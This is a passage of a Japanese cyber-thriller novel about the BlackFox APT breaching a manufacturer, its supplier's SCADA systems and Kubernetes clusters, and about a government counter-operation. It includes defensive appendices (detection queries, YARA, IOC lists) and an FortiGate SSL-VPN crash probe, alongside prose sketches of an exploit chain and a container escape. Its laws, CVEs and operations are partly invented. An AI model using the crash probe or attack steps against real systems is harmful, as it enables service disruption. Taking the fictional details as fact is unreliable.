  • Legacy PC 群:Sysmon 導入、EDR(CrowdStrike Falcon Prevent for Small Biz)30 日トライアル適用。

  • L3‑SW VLAN ACL:217→88(OT VLAN)を permit tcp 502 のみ。

  • KVM ケーブル撤去、OT 側へハードウェアファイアウォール設置を決定。

5.2 PoC 共有

長谷川直樹(NISC)へ以下を提出。

IOC Bundle(STIX 2.1)

  • Vulnerability:CVE‑2023‑27997

  • Malware:BlackFoxLoader, Mimikatfox.vbe

  • Indicator:river‑stone, 185.199.220.72, zhcnsync.net

  • Attack‑Pattern:T1190, T1021.002, T1047, T1546.015

6 人の壁

午後 4 時。昭南の社長室。小山社長は 58 歳、現場上がりの職人肌。「…アタシらのとこが穴だったワケだな」「今ふさぎました。だが、追加投資が必要です」 篠田は静かに言う。「機密扱う以上、東日と同等のセキュリティ基準に上げたい」「カネは出す。ただ――人がいねぇ」人材不足――結局、これが真の弱点。菜々子は苦笑いした。

7 遅配の代償

その夜、東日の調達部門が緊急会議。昭南のライン停止で、ロット 3,500 個のアルミハウジング部品が納期遅延。高梨本部長は経営会議で「セキュリティ停止は不可避」と擁護したが、営業サイドからは損害 2.2 億円の声。

篠田の覚悟「サプライチェーンの最弱リンクを強くしない限り、被害額は止まらない」

8 BlackFox の裏庭

8.1 再構築中の C2

シンクホールで奪取した C2 コマンドのダンプを菜々子が解析。task":"rebuild","asset":"ShoNanVPN","module":"forti_vpn_shell"つまり FortiGate 再侵入シェルを用意する指示。侵入は一度で終わらない。パッチを当てても、別のゼロデイが控えている。

8.2 “FoxHole” ファーム

防衛省から新情報:“FoxHole” と呼ばれる FortiGate 未公開ゼロデイが闇フォーラムで売られている。販売者は「独立ハッカー」名義だが、背後には中国軍系ベンダーの影。価格 40 BTC。供給網破り専用 と噂。長谷川曰く「BlackFox2025 の最終兵器かもしれない」。

9 夜のエピローグ

昭南の工場現場で、PLC に貼られた注意喚起ステッカーを篠田が剥がすと、製造ラインのモーター音が静かに唸った。まだ完全には安全でない。だが、穴は把握した。埋め戻すだけだ。窓の外、夕焼けに富士のシルエット。篠田のスマホに菜々子からメッセージ。

makefile

Nana: FoxHole exploit サンプル手配。明朝までに lab で検証しよ。 Taku: 了解。夜行バスで戻る。次の防衛線を築く。

東日電産と昭南工作所――二社の運命を分かつ夜が、音もなく沈んでいった。

◆章末テクニカル付録

A. FortiGate コンソール:CVE‑2023‑27997 PoC 簡易チェック

bash

# echo | openssl s_client -connect vpn.example.co.jp:443 -tls1_2 -servername AAAAAAAAA... (1168 bytes) # FortiGate が即座に sslvpn crash → diag sys top shows sslvpn 0% → confirm vulnerable

B. SMBv1 無効化スクリプト(QNAP QTS 4.3.4 用)

sh

# /etc/init.d/samba4.sh stop # setcfg -f /etc/config/smb.conf global "smb2 forbid" "none" # setcfg -f /etc/config/smb.conf global "smb1 enable" "no" # /etc/init.d/samba4.sh start

C. ESC8 テンプレート無効化手順

rust

certutil -config "PKI-ROOT01\ROOTCA" -deleteTemplate "UserAutoEnroll" # ADSIEdit -> CN=Certificate Templates -> security -> uncheck 'Enroll' for Authenticated Users

D. Golden Ticket 検知 KQL (Sentinel)

kusto

SecurityEvent | where EventID == 4769 | where ServiceName == "krbtgt" and TicketOptions has "0x40810010" | summarize Count=count() by IpAddress, bin(TimeGenerated, 30m) | where Count > 5


第5章:ゼロデイの猛威

――2025 年 2 月 18 日 01 時04 分 東日電産 中部製造拠点 基幹系サーバールーム

0 静寂を裂くカーネルパニック

冷却ファンの低い唸り。ラック間の通路に漂うオゾン臭。午前 1 時――監視カメラの赤外線が捉えたのは、基幹受発注システム OES‑Core01(Dell R750, RHEL 8.9)が、青白いカーネルパニック画面を出してリブートループに陥る瞬間だった。

yaml

RIP: 0010:__memcpy+0x31/0x120 Code: 0f b7 8f 00 24 00 00 48 8b 97 08 24 00 00 48 8b 0e 48 8b 5f 08 ... Kernel panic - not syncing: Fatal exception

同時刻、上位の Oracle 19c RAC ノードがクラスター切り離しでフェイルオーバに失敗し、SCADA ダッシュボードへ「部材在庫照会不可」の赤帯が表示された。

1 見えない破裂点

1.1 EDR が捕えた奇妙な PID

CrowdStrike Falcon 計算ノード ENG‑VmHost12 が出したハイアラート:

bash

SuspiciousProcessLaunch Parent: /usr/java/jdk-11/bin/java (PID 4121) Child : /tmp/.java_pid4121/coregen (PID 4503) SHA256: 4f70bfe74e9d2c5a47c4380... Command: ./coregen --socket /var/run/mgmt.sock --payload /tmp/.mod_so

coregen は本来 JDK デバッグ用ユーティリティだが、--socket オプションは存在しない。

菜々子の所見「LD_PRELOAD で乗っ取り、coregen 名に偽装した ELF ローダ。socket 経由でルートキットを注入してる」

1.2 脆い spring‑boot

OES‑Core01 のアプリケーションログ /var/log/oes/app.log に残った最後の行。

pgsql

[INFO ] c.t.infra.auth.TokenFilter - authenticated user=svc_batch at 01:03:51 [WARN ] c.t.infra.db.OrderDao - query took 5123 ms -- SELECT * FROM orders WHERE ...

直後に java.lang.ArrayStoreException が吐かれ、JVM クラッシュ。篠田は hs_err_pid4503.log を開く。

mathematica

Stack: [0x00007fd4fd9c7000,0x00007fd4fdac8000],  sp=0x00007fd4fdac15a0,  free space=1016k Native frames: (J=compiled Java code, j=interpreted, Vv=VM code, C=native code) C  [libattack.so+0x1f93]  memcpy+0x103

libattack.so――存在しない正体不明の共有ライブラリ。LD_LIBRARY_PATH 改竄 で JBoss EAP の起動 chain に差し込まれていた。

2 未知の入口

2.1 WAF ログ 12 秒の空白

FortiWeb Cloud の Traffic Log。01:03:39〜01:03:51 の 12 秒間、/api/v1/orders/bulk-import に約 250 req/s。すべて HTTP/2 POST。ヘッダ X‑OES‑Token: null。だが WAF は 200 を返している。署名もアノマリもヒットせず素通り。

菜々子が PCAP を開く。gRPC パケット内部の Protobuf フィールド orderCsv=“@@@...” に、3 MB 以上の base64 が詰め込まれている。gRPC サイズリミット 4 MB をだまし、“CSV アップロード機能”のサイズチェックを回避するペイロード分割を検知。

仮説: bulk-import は Dev 用隠しエンドポイント フレーム分割で “chunkLen × n + padding” オーバーフロー CSV パーサーの動的配列を上書きし、__malloc_hook → ROP → system("/bin/sh")

DoppelGänger のような手口。ゼロデイ確定だった。

2.2 コードリーディング

Git リポジトリ(Bitbucket)を掘る。BulkImportController.java に開発者コメント:

java

@PostMapping("/bulk-import") public ResponseEntity<String> bulkImport( @RequestParam("file") MultipartFile file) { // TODO size check orderService.handle(file.getBytes()); return ResponseEntity.ok("OK"); }

「TODO size check」。未実装のまま本番へ。開発者は退職しており、レビューもスキップされていた。

3 影はクラスタを跳ねる

3.1 マルチクラスタ連鎖

OES‑Core は 3 つの Kubernetes クラスタ prod‑a / prod‑b / prod‑c に分散。coregen は最初に prod‑b ノードへ落ち、Kubernetes API を横展開。

篠田は Kube‑audit ログを KQL 集計。

kusto

KubePodAudit | where verb == "create" and objectRef.name startswith "coregen" | summarize count() by node, bin(TimeGenerated, 1m)

結果:Node 増殖曲線。30 秒内に 12→48→96 Pod。Pod spec をみると hostPID: true、privileged: true。Falco が火を噴くようにアラート。

yaml

Falco Rule: Write below /usr Process: /bin/bash NameSpace: coregen-43x9c

3.2 Container Escape

菜々子がコンテナ内 /proc/self/maps を確認。/lib/x86_64-linux-gnu/libcap.so に setuid root フラグを強制設定。Moreover, sysctl kernel.unprivileged_bpf_disabled=0 が入っており、BPF syscall で kprobe を利用、cred->uid=0 に書き換えるDirtyCred亜種だ。

コンテナ → ホストルート → 他クラスタ——kubeconfig cluster-admin のトークンが /opt/keys/ ディレクトリに平文で放置。攻撃者はそれを掴み、全クラスタ掌握に成功した。

4 SCADA への暗い橋

東日の工程管理 SCADA は Ignition 8.1。MQTT プロバイダ mqtt.tdn.local:1883 へ、OES が生産指示 JSON を投げる設計。攻撃者は OES コンテナ出力を BPF でキャプチャし、SCADA への MQTT Publish を改ざんした。

json

{"cmd":"setSpeed","line":"Line12","rpm":1800}

→ 改ざん後

json

{"cmd":"setSpeed","line":"Line12","rpm":9999}

SCADA は 9,999 rpm を異常値と認識し自動停止したが、ライン主管は「センサ異常」と誤認し再起動を指示。危うくモーター焼損寸前だった。

5 緊急封じ込め ≪HYPERION≫

5.1 クラスタ凍結

村上部長は 封じ込め Playbook #IR‑07 “HYPERION” を発動。

  1. すべての kube‑api インバウンドをネットワークファイアウォールで DROP

  2. etcd スナップショット取得 → 別セグメントに待避

  3. クラスタノードを systemctl stop kubelet で即時停止

  4. Oracle RAC と OES 連携を “read‑only” モードでリカバリ

5.2 Edge Rate Limiting

SCADA 側では Ignition Gateway に emergency script:

python

if payload['rpm'] > 3000: system.tag.writeBlocking(['[default]Line12/State'], 'ALARM') system.tag.writeBlocking(['[default]Line12/SpeedCommand'], 0)

3 秒以内に 54 件ブロック。ラインは保護された。

6 ゼロデイ根絶へのレース

6.1 PoC → CVE リザーブ

菜々子は bulk-import パーサの “split & join” オーバーフローをGDB で再現し、ASAN でクラッシュログ採取。

bash

==15284==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eeef READ of size 8 at 0x60200000eeef thread T0 #0 0x7fcfe4c1b03f in memcpy

再現率 100%。篠田は JPCERT/CC へ 0‑day レポートを送り、CVE ID をリザーブ申請。数時間後 CVE‑2025‑11490 が発行。

6.2 ベンダー駆動

OES ベンダー「TechNado 社」緊急対応会議。

  • パッチ ETA:72 時間

  • 暫定回避策:bulk-import エンドポイントを Ingress 規則 deny

  • gRPC サイズリミットを 1 MB に固定

  • Java Security Manager 有効化(現状 off)

高梨本部長は「72 時間ライン停止は無理だ」と激昂したが、篠田は「止めずに続ければ全製造図面が盗まれる」と譲らず、結果:基幹系 read‑only+手動受発注入力という極限運用に舵を切る。

7 “狐火” のカウンター

7.1 Honeypot‑as‑C2

長谷川直樹率いる政府連携チームは、奪取した BlackFox C2 プロトコル を実装し、Azure 上に偽 C2 “FoxFlare” を構築。coregen Pod を一部放置し、Beacon を FoxFlare へ向けさせる。攻撃者は気付かず、ゼロデイ Exploit Kit(名:FoxHole‑β)の追加モジュールを投下。解析で FortiGate 未公開バグ + Kubernetes API Server バグの複合チェーンと判明し、政府 0‑day シェアリング枠に登録された。

8 黎明

2 月 19 日 05 時54 分。RHEL 8.9 に Hotfix RHSA‑2025:1194 が適用され、OES‑Core01 が正常起動。クラスタは etcd スナップショットからクリーンビルドされ、bulk-import はコード削除。サイズ制御は Nginx Ingress で再定義。

朝焼けの製造ラインがゆっくりと動き出す。RPM は 1200、正常。篠田は窓の外を見やった。夜明けの光は淡く、しかし確かに希望を照らす。

彼のスマホには菜々子の新しいメッセージ。

makefile

Nana: FoxHole‑β 完全解析完了。脆弱関数は sslvpn_chk_hostkey Taku: よし。今日も戦争だ。

◆章末テクニカル付録

項目

解説

新規 CVE

CVE‑2025‑11490

gRPC CSV Bulk‑Import パーサ RCE

悪用 DLL

libattack.so SHA‑256=4f70bfe7…

LD_PRELOAD, DirtyCred 亜種

悪用 Exploit Kit

“FoxHole‑β”

FortiGate + K8s RCE チェーン

暫定回避

Kubernetes Ingress limit-rate 1m

gRPC 分割阻止

根絶策

クラスタ再構築、Golden Ticket 再ロール

HostPID/privileged Pod 禁止

新検知

Falco WriteBelowUsr + Sysdig

Rootkit 挿入検知


第6章:危機対策本部

――2025 年 2 月 19 日 09 時15 分 東日電産 本社 21 階 第1災害対策室(臨時 CSIRT‐War Room)

0 赤いテーブル

縦 6 メートルのオーバル卓。中央に並ぶ 55 インチ 8 台のビデオウォールには、“Incident #BF‑2025‑01” のタイムライン、クラスター状況、サプライチェーン被害マップがリアルタイムで更新されていた。危機対策本部(Emergency Response Headquarters:ERHQ)――経営、技術、広報、法務、サプライチェーン、現場ラインを束ねる総力戦の舞台である。

1 組織図と通信線

1.1 IR 標準模式図(NIST SP‑800‑61r2 準拠)

css

                ┌─────────────┐ │Incident Cmd │ ← 高梨洋平(総指揮) └──────┬──────┘ ┌──────────────┼──────────────┐ │ │ ┌───────▼───────┐ ┌────────▼────────┐ │Technical Lead │ │Communications │ │篠田拓也 │ │室長:広報・法務│ └───────┬───────┘ └────────┬────────┘ │ │ ┌───────▼──────┐ ┌───────────▼──────────┐ │Ops & Contain.│ │Public / Gov Liaison│ │菜々子・CSIRT │ │長谷川直樹(NISC) │ └─────────────┘ └────────────────────┘

すべての通話・画面共有は Zero‑Trust 準拠

  • Zoom Gov‑JP エンドツーエンド暗号化

  • Mattermost On‑prem に IR チャネル:#erhq‐tigerteam

  • OneTime Secret でパスワード配布通信履歴は自動で Azure Purview に記録し、後日の監査に備える。

2 初動レビュー会議

2.1 T‑0+72 h サマリ

篠田が KQL ダッシュボードを示す。

メトリクス

コメント

感染端末総数

147 → 0

EDR 隔離成功

流出ファイル

AutoCAD 10 点 / Excel 3 点

暗号化にて無読可能

SCADA 影響

Line12 停止 4 h

製品ロス 0

サプライ企業被害

昭南 工作所 1 社

フォロー中

未公開脆弱性

CVE‑2025‑11490

通報済み、対策待ち

2.2 決裁事項

  1. 製造ライン再稼働条件

    • OES hotfix 完全適用

    • SCADA MQTT ACL 適用済み

    • PLC Write Guard スクリプト常時稼働監視

  2. 情報公開ポリシー

    • 取引先には 24 h 以内に一次報告

    • プレスリリース案を広報がドラフト

    • 個人情報流出は無し ⇒ 個人通知不要

  3. 能動的サイバー防御参加の是非

    • 防衛省から正式協力要請あり

    • 法務確認:企業は「情報提供」で協力、積極アクセスは不可

    • 篠田・菜々子は技術顧問として Gov‑BlueTeam へ派遣

3 セキュリティ運用刷新ロードマップ

3.1 “Phase 0” 即応タスク(1 週間以内)

項目

SLA

オーナ

詳細

OES WAF Custom Sig

24 h

菜々子

orders/bulk-.* → Size<1MiB, AuthHeader≠null

K8s Admission Ctrl.

48 h

CSIRT Ops

hostPID / privileged Pod deny

AD CS Hardening

72 h

篠田

ESC1/8 テンプレ OFF, CT_FLAG_CHANGE

3.2 “Phase 1” 体制強化(30 日)

  • SOC ログ保管量を 14 日→180 日 に拡張(S3IA + Glacier)

  • サプライチェーン統制:NIST SP‑800‑161r1 基準で第三者監査

  • 人材:セキュリティ専門常勤 4→8 名、外部 MSSP 24×7 契約

3.3 “Phase 2” ガバナンス(90 日)

  • CISO 直轄 Cyber Risk Committee 設置(取締役会配下)

  • 紫チーム(Purple Team)演習 年 4 回

  • セキュリティ KPI:

    • Mean‑Time‑To‑Detect (MTTD) ≤ 15 m

    • Mean‑Time‑To‑Respond (MTTR) ≤ 60 m

    • サプライチェーン準拠率 ≥ 90 %

4 危機対策本部:技術オペレーション

4.1 リアルタイム ATO(Authority‑To‑Operate)ダッシュボード

篠田は Grafana Loki と Azure Sentinel を WebSocket 連携し、「赤・橙・黄・緑」のシグナルライトモデルを実装。信号のルール(YAML):

yaml

signal_rules: - name: CriticalC2 query: > CommonSecurityLog | where RequestURL contains "zhcnsync" or DestinationIP == "185.199.220.72"     threshold: 1 color: red - name: AnomalousPLCWrite query: > ScadaEvent | where Tag == "SpeedOverride" and Value > 1.3     threshold: 1 color: red - name: HighLoginFail query: > SecurityEvent | where EventID == 4625 and IpAddress !startswith "10." | summarize count() by bin(TimeGenerated, 5m) | where count_ > 50     threshold: 1 color: yellow

ビデオウォールの左側に 3 秒毎で更新。“赤” が 0 を示していた。心理的安心と即応の両立――ERHQ の可視化は、人とシステム両面を守る。

4.2 “Playbook Runner” 自動化

菜々子は StackStorm で封じ込め手順を IaC 化。

yaml

name: quarantine_edr_host pack: ir_playbooks description: > Isolate host via Falcon API then block IP via NGFW. parameters: hostname: type: string action: chain: - name: isolate ref: cs.falcon.isolate_host parameters: host: "{{hostname}}" - name: block ref: paloalto.create_block_rule parameters: ip: "{{execution.results.isolate.agent_ip}}"

Slack から /quarantine PC‑123 と叩けば即時発動。MTTR 減少を KPI で測定し、初動 40 分→8 分 を達成。

5 官民タスクフォース

5.1 Gov‑BlueTeam “Shield‑JP 2025”

長谷川直樹が NISC 主導シールドルームからブリーフ。

  • 参加:防衛省サイバー防衛隊、警察庁、IPA、主要 8 社

  • ミッション:FoxHole‑β exploit 解析、国外 C2 の無力化

  • 東日の役割:マルウェア挙動ログ共有、PoC 再現環境提供

5.2 能動的サイバー防御の法的境界

法務顧問・泉谷弁護士が解説。

  • 改正「サイバー防御出動特措法」(2025‑5‑14 施行)

    • 第7条:政府機関に限定した海外サーバ無力化

    • 第9条:重要インフラ事業者による「協力要請」受諾義務

  • 民間が行えるのは 情報提供・被害範囲限定措置 まで。篠田と菜々子は公的 BlueTeam に主任技術者として出向。FoxFlare Honeypot は政府運用のため合法。

6 人材と文化

6.1 現場ヒアリング

製造ライン主任・加藤が ERHQ に呼ばれる。「IT は分からんが、止めるなら止める理由を現場に説明してくれ」篠田は ICS セキュリティ教育モジュール (15 分動画) を制作。PLC を使った模擬攻撃 → 制御不能 → Safety Relay 作動 の実験映像。現場は映像を見て初めて「ライン停止の必然」を認識し、協力空気が生まれる。

6.2 “サイバー道場”

CSIRT は業務後 1 時間の 道場タイム を週 2 回設定。

  • 初心者:Wireshark 基礎

  • 中級:KQL & Sigma ルール作成

  • 上級:Red Team TTP 体験(Caldera, Atomic‑Red)全社員参加自由、オンライン配信あり。最初は 6 人→2 週後 41 人。セキュリティ文化の萌芽

7 資本とコスト

高梨本部長は CFO と折衝。年間セキュリティ予算を 売上比 0.8% → 2.0% へ段階的増額要求。CFO は ROI 試算を提示。

投資

コスト

想定リスク減少

ROI(3 年)

EDR/XDR 全面導入

1.8 億円

重大インシデント確率 40%↓

148%

MSSP 24×7

0.9 億円

MTTR 60%↓

122%

サプライ監査

0.4 億円

サプライ侵害 70%↓

305%

取締役会は全会一致で可決。「守りなくして成長なし」の標語が掲げられる。

8 夜の撤収

21 時。ERHQ のライトが暖色に変わり “Day‑1” の終業を告げる。だが篠田は椅子に沈みながらタブレットでログを追い続けた。菜々子が紙コップを差し出す。「寝ろ。今日の“赤”ゼロキープは勝利だ」「FoxHole‑β の V2 が来る」「こっちも進化するさ」

窓の外、名古屋港の灯が瞬く。サイバーの戦場は眠らない。だが、守る者もまた眠らず歩む。

◆章末速習:危機対策本部チェックリスト(抜粋)

区分

項目

目標値 / 状態

指揮

経営直下 Incident Cmd

通信

暗号化チャネル(Zoom Gov, Mattermost)

可視化

ATO ダッシュボード更新間隔 ≤ 5 s

3 s

自動化

Playbook MTTR ≤ 10 m

8 m

ガバナンス

KPIs 4 件/月報告

実装

教育

道場タイム参加率 ≥ 15%

18%


第7章:諜報の境界

――2025 年 2 月 22 日 00 時43 分 防衛省麹町分庁舎 地下3階 サイバー情報統合センター(CIC)

0 ガラス越しの檻

防衛省サイバー防衛隊の作戦室は、二重防音の強化ガラスで仕切られていた。壁一面に張り付く 96 台の 27 インチモニター。緑と赤と黄のビットマップが走り、“Op BlackFox‑Trace” のタイトルが中央に踊る。

ガラスの向こうへ案内された篠田拓也と杉本菜々子は、軍事施設特有の微かな消毒液の匂いに包まれながら立ち尽くした。長谷川直樹(NISC)が手短に紹介する。

「ここが国家レベルの“BlueTeam”最前線だ。今日から君たちは顧問コード “C‑Tiger‑01/02”。我々は攻撃者の真名を掴みに行く」

1 アトリビューションの作法

1.1 五層照合モデル(Five‑Layer Attribution)

長谷川はホログラムモニターに五つの円を重ねた。

  1. TTP(手法)

  2. マルウェアコード類似度

  3. C2 インフラ相関

  4. オペレーション時間帯

  5. 政治・軍事行事との連動

「五層すべて重なるとき、“国”が透ける」

(1) TTP

  • LLMNR/Responder 横展開 → Tick 系列と一致

  • ESC8 Shadow Credentials → APT41 (Winnti) が近似

  • FortiGate CVE‑2023‑27997 悪用 → MirrorFace 2024 キャンペーン共通

(2) コード指紋

菜々子が示す ssdeep 128bit ハッシュ比較結果:

サンプル

比率

既知グループ

libattack.so vs Winnti WINNKIT

72%

APT41

coregen vs MirrorFace MirrorLoader v5

65%

MirrorFace

winnet.dll vs Tick Datper

58%

Tick

「複数ユニットの“合弁作戦”だ」 と長谷川。

(3) C2 インフラ

サイバー防衛隊は国際組織と協働し、奪取した C2 ドメイン 324 個を BGP ルートと WHOIS を突き合わせた。8 割以上が 中国山東省濰坊市のレンタルサーバ会社 “Haichang IDC” 。さらに DNS テンプレに**“xNF‑↑↓”**というカスタム SOA レコード。これは 2023 年 PLA(中国人民解放軍)ユニット 61398 派生部隊 “黑狐旅” が用いた識別子だと判明した。

(4) 作戦時間

  • 侵入ピーク:UTC 14:00〜18:00(北京 22:00〜翌02:00)夜間作業を示すが、中国サイバー部隊は“夜勤班”が存在。

(5) 政治連動

台湾総統選に合わせた 1 月、東日と同業 3 社で同型攻撃が観測。極超音速兵器製造の情報収集が急務だった時期と重なる。

2 FoxHole‑β の深核

2.1 ゼロデイ連鎖(Kill‑Chain‑Diagram)

scss

FortiGate SSL‑VPN Heap Ovfl → WebShell Drop → Socks5 Pivot → Kubernetes API Exploit (#Foxβ‑K8s‑21) → BPF DirtyCred → Coregen Loader → ShadowCred (ESC8) → Golden Ticket → SCADA Manip

長谷川は板書し、**「黒狐は横串の“スパイ‑as‑a‑Service”」**と評した。国家バックを持ちながら、複数の請負ハッカー部隊がモジュールを持ち寄るプラットフォームモデル。暗号通貨で報酬を受け取り、成果物(盗み出した図面など)は PLA 系シンクタンクを通じて国有軍需企業に流れる。

2.2 暗号証跡

CIC の暗号解析部門は、FoxFlareが捕捉した TLS ハンドシェイクの乱数列をディジタルウォーターマークとして抽出。→ 同一ウォーターマークが、2024 年 12 月 ウクライナ重工業 侵害でも検出。**「作戦リーダー“玄武‑9 (Xuanwu‑9)”」**に紐づく証左となった。

3 能動防御カウンター “OP‑STELLAR‑FANG”

3.1 法律の枠内での“反撃”

改正法第7条に基づき防衛省は

「対外サーバーの一時機能停止措置」を閣議経由で承認。
  • 対象:山東省 Haichang IDC IP 範囲 /24 3 ブロック

  • 方式:国際連携(ASEAN‑CERT、Five Eyes SIGINT)

3.2 ハイジャック

作戦は BGP 再ルートではなく、DNS アンダーカットCloud‑Sinkhole

  1. 当該 IDC の上位 TLD レジストラに停止要請

  2. 同時に Anycast Sinkhole(Azure China 北部データセンタ)を立て、A/AAAA レコードを 60 s TTL で奪取

  3. 攻撃者のクライアントからの Beacon を吸収

  4. Beacon 内の system fingerprint (HWID / MAC) を自動抽出し IOC 化

夜 23 時、TTL 伝播完了。Beacon 1.6 万件/h → 80 h で 110 万件の資産情報が収集された。

  • 日本 5 社

  • 台湾 3 社

  • ドイツ 2 社

  • その他 12 か国

長谷川は「世界規模の産業スパイ網が顕在化した」と総括した。

4 捲土重来の兆し

4.1 BlackFox‑γ (Gamma) リモートリサーチ

灯りの落ちた ERHQ で、菜々子が新サンプルに目を凝らす。FoxFlare へ 2 月 21 日から流れ込んだ新 DLL gammaload.dll:

機能

概要

start_vgpu_enum()

仮想 GPU 情報列挙、AI 推論サーバ選定

encrypt_chunk()

AES‑GCM + Curve448 鍵交換

task_ml_dump()

PyTorch Checkpoint 抽出

AI モデルごと盗む気だ…」東日が試験導入する“製造ライン自律最適化 AI”の学習モデルが狙われている。AI モデルはウェイトだけで数十ギガ。設計ノウハウの塊だ。

菜々子は YARA を拡張。

yara

rule BlackFoxGamma { strings: $s1 = "start_vgpu_enum" $s2 = "task_ml_dump" $s3 = { 6A 02 5F 0F B6 } condition: filesize < 5MB and all of ($s*) }

EDR グローバル検索 → ヒット 0。だが長谷川が警告。

「γはまだ試験段階。α→β→γ と来ている。日本は“実戦テスト場”にされている」

5 産業スパイ vs 経済安全保障

経産省から ERHQ へ通達。

  • 経済安全保障特定重要技術 指定リスト」に該当する‑ 極超音速材料‑ 高効率電動アクチュエータ‑ 製造ライン AI 最適化モデル

→ 東日は国家補助 20 億円対象に。代わりに

  • セキュリティ要件 NIST 800‑172 100% 適合

  • 年 2 回行政監査

  • 技術流出時は即日報告義務

高梨本部長は頷き「もう逃げられない。守り切る」と宣言した。

6 境界線上のエンジニア

6.1 篠田の葛藤

FoxFlare のダッシュボードに並ぶ Beacon IP の洪水。

“収集されたデータを基に、相手にどう反撃するか”篠田は技術者としての好奇心法の境界の狭間で揺れる。手を伸ばせば、相手の内部ネットにスキャンを撃ち込むことも可能だ。だがそれは国を越える“侵入”を意味する。

長谷川は静かに言った。

「線を越えるのは国家の仕事だ。君たちの使命は境界を守ること」

6.2 菜々子の決意

菜々子は Git レポジトリを開き、新しい Purple Team シナリオ を書き始める。

  • FoxHole‑β シミュレート

  • AI モデル窃取試行

  • ICS 破壊スクリプト対抗パッチ

「攻め手を学び、防御に活かす。それがホワイトハッカー」

7 夜明け前の静寂

2 月 23 日 04 時18 分。CIC のメインスクリーンが“赤 0”を保ったまま 12 時間。だが世界のどこかで、新しい C2 が灯る音がする。篠田はグラスの水を飲み干し、菜々子に言う。

「境界の外に、終わりはない。だが――内側を護り抜く」

菜々子は笑った。

「それが私たちの“BlackFox 狩り道”よ」

◆章末テクニカル付録

A. 五層照合モデル対応表

BlackFox‑β 検知要素

高一致グループ

TTP

ESC8 / FortiGate / DirtyCred

APT41・Tick

コード

ssdeep ≥60%

APT41

C2

Haichang IDC / SOA xNF

MirrorFace

時間帯

UTC 14‑18

Tick

政治

台湾選挙連動

PLA 関与

B. DNS アンダーカット手順概要

  1. 国外ホスティングの Registrar にダークゾーン通告

  2. TLD ネームサーバ変更申請

  3. 60 s TTL で Anycast Sinkhole IP 発布

  4. 被疑ドメイン A/AAAA 書換え

  5. Beacon ログ自動 IOC 化 (STIX 2.1)

C. Falcon Data Search — AI モデル窃取検知

kusto

EventSimpleName=FileMod | where FilePath endswith ".pt" or FilePath endswith ".pth" | where FileSize > 50000000 | where Tactic == "exfiltration"


第8章:境界なき反撃

――2025 年 2 月 24 日 22 時07 分 自衛隊市ヶ谷基地 サイバー戦指揮所(J‑CYSOC)

0 “Operation STELLAR FANG” 発令

防衛副大臣の承認印が押された A4 用紙が LED ライト下に置かれた。コードネーム OP‑STELLAR‑FANG──日本政府が史上初めて公式に展開する「能動的サイバー防御」作戦だ。

  • 目的:BlackFox APT インフラの無力化と証拠確保

  • 根拠法:改正サイバー防御出動特措法 第7条

  • 期間:2025‑02‑25 00:00 JST 〜 02‑28 23:59 JST

  • 統制:防衛省サイバー戦指揮所(J‑CYSOC)

  • 協力:NISC / 警察庁 / IPA / 東日電産・他 7 社技術顧問

指揮官である陸将補・湯浅義秋は、会議テーブルを静かに見回した。

「各位、境界を越える。だが、法も倫理も守る。“奪って壊す”のではなく、“握って沈める”。」

その横で、顧問コード C‑Tiger‑01 ―篠田拓也は喉が渇くのを感じた。攻撃を受ける側から──攻撃者へ回線を伸ばす側へ。境界線を跨ぐ瞬間が、今まさに訪れようとしていた。

1 作戦アーキテクチャ

1.1 四層タスクフォース

scss

┌──────────────────────────────────────┐ │ L0 政策統制 (防衛副大臣/NISC 次長) │ ├──────────────────────────────────────┤ │ L1 指揮統制 (J‑CYSOC本部)湯浅指揮官 │ ├──────────────────────────────────────┤ │ L2 作戦技術 ──┬─ BlueOps (防衛省CND) │ │ ├─ HuntOps (NISC, IPA) │ │ └─ Liaison (篠田・菜々子 外4) │ ├──────────────────────────────────────┤ │ L3 支援基盤 (クラウドSinkhole, DNS-Reg, CERT) │ └──────────────────────────────────────┘

1.2 クラウド・シンクホール拡張

前章で稼働した FoxFlare(Azure China 北部)に加え、今回

  • AWS ap‑east‑1(香港)

  • GCP asia‑northeast‑2(大阪)

  • 阿里雲 ap‑se‑suzhou(蘇州)に Anycast ノードを増設。DNS TTL 60 秒で BlackFox ドメイン 512 件を再帰的アンダーカットする。

菜々子の担当:シンクホール側で Beacon を自動解析し、

  • HWID / OS / 時刻 / Beacon ver / 拡張モジュールを STIX 2.1 + TAXII で流し、各国 CERT とリアルタイム共有する。

2 フェーズ I:ディセプション

2.1 “藍晶(Blue‑Crystal)” コンテナ

作戦 00:10、シンクホールに新種モジュール mlsync_v2.pkg が届く。ハッシュ照合後、菜々子はフォレンジック・サンドボックスへ自動送致。1 時間後に得た動的解析レポート:

項目

内容

実行環境要求

CUDA 11.8 / vGPU K80

主 API

/upload_model, /download_task

暗号

ChaCha20‑Poly1305 + X25519

目的

高速エッジ AI モデル反復盗取

長谷川が呟く。

「AI ステートフル盗難…産業モデルを“差分学習”で吸う気か」

菜々子はディセプション用ダミー AI モデルを準備。Open‑sourced GPT‑2 tiny に重回帰層を載せた擬似部品最適化モデル(サイズ 3.2 GB)に“罠データ”を埋め込む。

  • 層 12 の weight 行列に「DEADBEEF」水印

  • Embedding にランダムノイズ(±0.0003)

これをエンコードし、mlsync_v2.pkg が要求する JSON Format で返答。ブラックボックスへ誘い込むハニーモデルだ。

2.2 指紋付きモデル流出

23 分後、中国石家荘(IP 223.104.56.17)から 3.2 GB のダウンロード検知。同時に、hxxp://r‑dl‑cache[.]xyz/submit が応答。スピアヘッダに

makefile

X‑Fox‑XID: 9b7e:713f:dead:beef

水印マッチ確認。菜々子は「相手側リポジトリに汚染モデルが貯蔵された」と判定した。

3 フェーズ II:C2 無力化

3.1 “Drop‑Needle” DNS フリップ

湯浅指揮官が 02:00 JST に「フェーズ II 移行」を宣言。BGP 操作は行わず、対象 C2 の DNS を 127.0.0.1 へフリップ。TTL:30 秒。対象ドメイン群 324 件。

DNS 管理権を保持するレジストラ 2 社は ASEAN‑CERT 経由で協力済。フリップ時刻に合わせ、多国 CERT が監視を開始。結果:Beacon トラフィック 720 req/s → 0 req に落ち込む。BlackFox オペレータは、DNS NXDOMAIN を疑い、30 分後にレコード修正を試みたがRegistrar 側でロックされ拒否。“Drop‑Needle” 成功。

3.2 Socks5 Pivot 遮断

C2 が消えると、踏み台にしていた日本国内 VPS 群が代替 C2 へ Socks5 Tunnel を張り直す挙動が検知された。ここで 警察庁サイバー捜査隊が動く。

  • 事前照会で対象 VPS 42 台を帯域制限

